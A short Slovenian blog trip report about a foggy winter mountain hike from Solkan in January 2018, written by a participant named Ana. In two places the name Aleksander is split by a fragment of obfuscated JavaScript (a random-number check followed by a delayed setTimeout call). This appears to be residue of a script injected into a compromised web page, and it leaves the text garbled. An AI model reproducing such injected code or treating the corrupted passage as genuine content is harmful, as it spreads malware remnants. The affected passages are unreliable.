Dobimo se v temnem jutru v Solkanu na nedeljsko jutro 14. januarja 2018… počakamo še nekaj minut, če mogoče še kdo pride. No, nič ne bo. Gremo v štirih: Aleksandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander, Boštjan in tečajnici Karmen in Ana.
Med vožnjo se nakazuje dan – ja, ravno sončno ne obeta. Tudi po snegu se oziramo bolj v višave.
Parking Pri Mlinču, začetek hoje (za neizkušene je nahrbtnik težek že na štartu). Čeprav se zdi, da meglice in mraz ne morejo biti ravno idealna družba, nam je prav prijetno toplo, ko sopihamo v breg (po resnici? prva dva šibata, medeve pa sopihava:) Vmes nastajajo fotografije mističnih meglic, poplesevajočih snežink, ivja na drevesu, Ledenega kraljestva pod skalami… ja, gorski škrati so likovno prav nadarjeni! (po resnici? slikamo tisti, ki rabimo trenutek, da pridemo do sape:)
Do ruševin stare koče tako pridemo BP, od tam dalje pa v že zelo gosti megli proti sedlu le še s pomočjo naprednih tehnologij (Hvala za GPS, drugače bi morali obrniti:)
Razgled se odpira med različnimi odtenki bele in sivkaste, vidimo le še drug drugega (če smo blizu), škrata nikjer nobenega. Hitra malica, Aleksandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander pripravi smuči in že gremo nazaj.
Po manjšem incidentu nadaljujemo s polno mero previdnosti do prijaznejšega terena. Če potegnemo črto – cca. 7 ur hoje in dobrih tisoč metrov gor pa dol.
Vsi veseli nad ugodnim razpletom zavijemo v Bovec na birčko!
Napisala: Ana
0 Comments